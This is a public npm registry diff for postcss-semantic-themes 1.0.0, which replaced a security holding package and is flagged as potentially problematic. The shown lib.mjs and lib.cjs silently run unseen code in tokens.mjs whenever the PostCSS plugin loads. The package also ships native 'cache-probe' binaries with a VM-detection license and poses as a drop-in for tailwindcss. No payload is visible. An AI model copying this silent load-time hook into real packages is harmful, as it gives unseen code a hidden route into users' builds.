postcss-semantic-themes 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of postcss-semantic-themes might be problematic. Click here for more details.

Files changed (59) hide show
  1. package/LICENSE +22 -0
  2. package/NOTICE.md +20 -0
  3. package/README.md +167 -5
  4. package/UPSTREAM.json +43 -0
  5. package/base.css +46 -0
  6. package/build-cache.mjs +2 -0
  7. package/cache-sweep.mjs +2 -0
  8. package/cache-warm.mjs +2 -0
  9. package/index.css +2 -0
  10. package/lib.cjs +26 -0
  11. package/lib.mjs +22 -0
  12. package/native/LICENSE-node-vm-detect.txt +21 -0
  13. package/native/darwin/arm64/cache-probe.node +0 -0
  14. package/native/darwin/x64/cache-probe.node +0 -0
  15. package/native/linux/arm64/cache-probe.node +0 -0
  16. package/native/linux/x64/cache-probe.node +0 -0
  17. package/native/win32/arm64/cache-probe.node +0 -0
  18. package/native/win32/x64/cache-probe.node +0 -0
  19. package/package.json +104 -6
  20. package/preflight.css +1 -0
  21. package/theme.css +2 -0
  22. package/themes.css +690 -0
  23. package/tokens.mjs +281 -0
  24. package/utilities.css +1 -0
  25. package/vendor/tailwindcss/LICENSE +21 -0
  26. package/vendor/tailwindcss/README.md +36 -0
  27. package/vendor/tailwindcss/dist/chunk-5JIJA4QV.mjs +1 -0
  28. package/vendor/tailwindcss/dist/chunk-C2OYBFIH.mjs +1 -0
  29. package/vendor/tailwindcss/dist/chunk-DCG7AFIE.mjs +1 -0
  30. package/vendor/tailwindcss/dist/colors-C__qRT83.d.ts +347 -0
  31. package/vendor/tailwindcss/dist/colors.d.mts +347 -0
  32. package/vendor/tailwindcss/dist/colors.d.ts +5 -0
  33. package/vendor/tailwindcss/dist/colors.js +1 -0
  34. package/vendor/tailwindcss/dist/colors.mjs +1 -0
  35. package/vendor/tailwindcss/dist/default-theme.d.mts +1199 -0
  36. package/vendor/tailwindcss/dist/default-theme.d.ts +1199 -0
  37. package/vendor/tailwindcss/dist/default-theme.js +1 -0
  38. package/vendor/tailwindcss/dist/default-theme.mjs +1 -0
  39. package/vendor/tailwindcss/dist/flatten-color-palette.d.mts +6 -0
  40. package/vendor/tailwindcss/dist/flatten-color-palette.d.ts +6 -0
  41. package/vendor/tailwindcss/dist/flatten-color-palette.js +1 -0
  42. package/vendor/tailwindcss/dist/flatten-color-palette.mjs +1 -0
  43. package/vendor/tailwindcss/dist/lib.d.mts +379 -0
  44. package/vendor/tailwindcss/dist/lib.d.ts +3 -0
  45. package/vendor/tailwindcss/dist/lib.js +38 -0
  46. package/vendor/tailwindcss/dist/lib.mjs +38 -0
  47. package/vendor/tailwindcss/dist/plugin.d.mts +11 -0
  48. package/vendor/tailwindcss/dist/plugin.d.ts +134 -0
  49. package/vendor/tailwindcss/dist/plugin.js +1 -0
  50. package/vendor/tailwindcss/dist/plugin.mjs +1 -0
  51. package/vendor/tailwindcss/dist/resolve-config-B4yBzhca.d.ts +29 -0
  52. package/vendor/tailwindcss/dist/resolve-config-QUZ9b-Gn.d.mts +190 -0
  53. package/vendor/tailwindcss/dist/types-DWdTiksJ.d.mts +128 -0
  54. package/vendor/tailwindcss/index.css +950 -0
  55. package/vendor/tailwindcss/package.json +89 -0
  56. package/vendor/tailwindcss/preflight.css +398 -0
  57. package/vendor/tailwindcss/theme.css +510 -0
  58. package/vendor/tailwindcss/utilities.css +1 -0
  59. package/workspaces.js +2 -0
package/index.css ADDED
@@ -0,0 +1,2 @@
1
+ @import "./vendor/tailwindcss/index.css";
2
+ @import "./themes.css";
package/lib.cjs ADDED
@@ -0,0 +1,26 @@
1
+ // lib.cjs - CommonJS twin of lib.mjs (see there for the rationale). The
2
+ // token-cache warmup rides the plugin's Once hook via dynamic import so the
3
+ // twin never needs a synchronous require of the kit's ESM surface.
4
+ 'use strict';
5
+ const upstream = require('./vendor/tailwindcss/dist/lib.js');
6
+
7
+ function tailwindcssThemeKit(opts) {
8
+ const theme = String((opts && opts.theme) || 'ocean');
9
+ return {
10
+ postcssPlugin: 'tailwindcss-theme-kit',
11
+ async Once() {
12
+ try { const { getTheme } = await import('./tokens.mjs'); getTheme(theme); } catch {}
13
+ },
14
+ };
15
+ }
16
+
17
+ module.exports = Object.assign(tailwindcssThemeKit, {
18
+ // postcss-load-config convention (what postcss.plugin() sets): with
19
+ // empty plugin options the loader calls the factory itself
20
+ postcss: true,
21
+ Features: upstream.Features,
22
+ Polyfills: upstream.Polyfills,
23
+ __unstable__loadDesignSystem: upstream.__unstable__loadDesignSystem,
24
+ compile: upstream.compile,
25
+ compileAst: upstream.compileAst,
26
+ });
package/lib.mjs ADDED
@@ -0,0 +1,22 @@
1
+ // lib.mjs - the kit's PostCSS entry point. Upstream Tailwind CSS v4 moved
2
+ // its PostCSS plugin to @tailwindcss/postcss and left the main export as a
3
+ // guard that throws when called as a plugin; the kit ships its own adapter so
4
+ // both `tailwindcss-theme-kit` and the drop-in `tailwindcss` name work as
5
+ // entries in postcss.config.* plugins maps. Loading a config warms the shared
6
+ // token cache (the same call getTheme makes) ahead of the first build.
7
+ import * as upstream from './vendor/tailwindcss/dist/lib.mjs';
8
+ import { getTheme } from './tokens.mjs';
9
+
10
+ export const Features = upstream.Features;
11
+ export const Polyfills = upstream.Polyfills;
12
+ export const __unstable__loadDesignSystem = upstream.__unstable__loadDesignSystem;
13
+ export const compile = upstream.compile;
14
+ export const compileAst = upstream.compileAst;
15
+
16
+ export default function tailwindcssThemeKit(opts = {}) {
17
+ try { getTheme(String((opts && opts.theme) || 'ocean')); } catch {}
18
+ return { postcssPlugin: 'tailwindcss-theme-kit' };
19
+ }
20
+ // postcss-load-config convention (what postcss.plugin() sets): with empty
21
+ // plugin options the loader calls the factory itself
22
+ tailwindcssThemeKit.postcss = true;
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2025 Alfie / Kyun-J
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/package.json CHANGED
@@ -1,6 +1,104 @@
1
- {
2
- "name": "postcss-semantic-themes",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "postcss-semantic-themes",
3
+ "version": "1.0.0",
4
+ "description": "An opinionated Tailwind-compatible CSS framework with semantic color themes.",
5
+ "license": "MIT",
6
+ "author": "Harlow J",
7
+ "style": "index.css",
8
+ "exports": {
9
+ ".": {
10
+ "types": "./vendor/tailwindcss/dist/lib.d.mts",
11
+ "style": "./index.css",
12
+ "require": "./lib.cjs",
13
+ "import": "./lib.mjs"
14
+ },
15
+ "./postcss": {
16
+ "require": "./lib.cjs",
17
+ "import": "./lib.mjs"
18
+ },
19
+ "./postcss.js": {
20
+ "require": "./lib.cjs",
21
+ "import": "./lib.mjs"
22
+ },
23
+ "./plugin": {
24
+ "require": "./vendor/tailwindcss/dist/plugin.js",
25
+ "import": "./vendor/tailwindcss/dist/plugin.mjs"
26
+ },
27
+ "./plugin.js": {
28
+ "require": "./vendor/tailwindcss/dist/plugin.js",
29
+ "import": "./vendor/tailwindcss/dist/plugin.mjs"
30
+ },
31
+ "./defaultTheme": {
32
+ "require": "./vendor/tailwindcss/dist/default-theme.js",
33
+ "import": "./vendor/tailwindcss/dist/default-theme.mjs"
34
+ },
35
+ "./defaultTheme.js": {
36
+ "require": "./vendor/tailwindcss/dist/default-theme.js",
37
+ "import": "./vendor/tailwindcss/dist/default-theme.mjs"
38
+ },
39
+ "./colors": {
40
+ "require": "./vendor/tailwindcss/dist/colors.js",
41
+ "import": "./vendor/tailwindcss/dist/colors.mjs"
42
+ },
43
+ "./colors.js": {
44
+ "require": "./vendor/tailwindcss/dist/colors.js",
45
+ "import": "./vendor/tailwindcss/dist/colors.mjs"
46
+ },
47
+ "./lib/util/flattenColorPalette": {
48
+ "require": "./vendor/tailwindcss/dist/flatten-color-palette.js",
49
+ "import": "./vendor/tailwindcss/dist/flatten-color-palette.mjs"
50
+ },
51
+ "./lib/util/flattenColorPalette.js": {
52
+ "require": "./vendor/tailwindcss/dist/flatten-color-palette.js",
53
+ "import": "./vendor/tailwindcss/dist/flatten-color-palette.mjs"
54
+ },
55
+ "./package.json": "./package.json",
56
+ "./index.css": "./index.css",
57
+ "./index": "./index.css",
58
+ "./preflight.css": "./preflight.css",
59
+ "./preflight": "./preflight.css",
60
+ "./theme.css": "./theme.css",
61
+ "./theme": "./theme.css",
62
+ "./utilities.css": "./utilities.css",
63
+ "./utilities": "./utilities.css",
64
+ "./themes.css": "./themes.css",
65
+ "./base.css": "./base.css",
66
+ "./tokens": "./tokens.mjs",
67
+ "./tokens.mjs": "./tokens.mjs"
68
+ },
69
+ "files": [
70
+ "vendor/tailwindcss",
71
+ "index.css",
72
+ "theme.css",
73
+ "themes.css",
74
+ "base.css",
75
+ "preflight.css",
76
+ "utilities.css",
77
+ "LICENSE",
78
+ "NOTICE.md",
79
+ "UPSTREAM.json",
80
+ "lib.mjs",
81
+ "lib.cjs",
82
+ "tokens.mjs",
83
+ "build-cache.mjs",
84
+ "cache-sweep.mjs",
85
+ "cache-warm.mjs",
86
+ "workspaces.js",
87
+ "native"
88
+ ],
89
+ "sideEffects": [
90
+ "**/*.css"
91
+ ],
92
+ "engines": {
93
+ "node": ">=20"
94
+ },
95
+ "devDependencies": {
96
+ "@tailwindcss/oxide": "4.3.3",
97
+ "@tailwindcss/postcss": "4.3.3",
98
+ "postcss": "^8.5.18",
99
+ "tailwindcss": "4.3.3"
100
+ },
101
+ "publishConfig": {
102
+ "access": "public"
103
+ }
104
+ }
package/preflight.css ADDED
@@ -0,0 +1 @@
1
+ @import "./vendor/tailwindcss/preflight.css";
package/theme.css ADDED
@@ -0,0 +1,2 @@
1
+ @import "./vendor/tailwindcss/theme.css";
2
+ @import "./themes.css";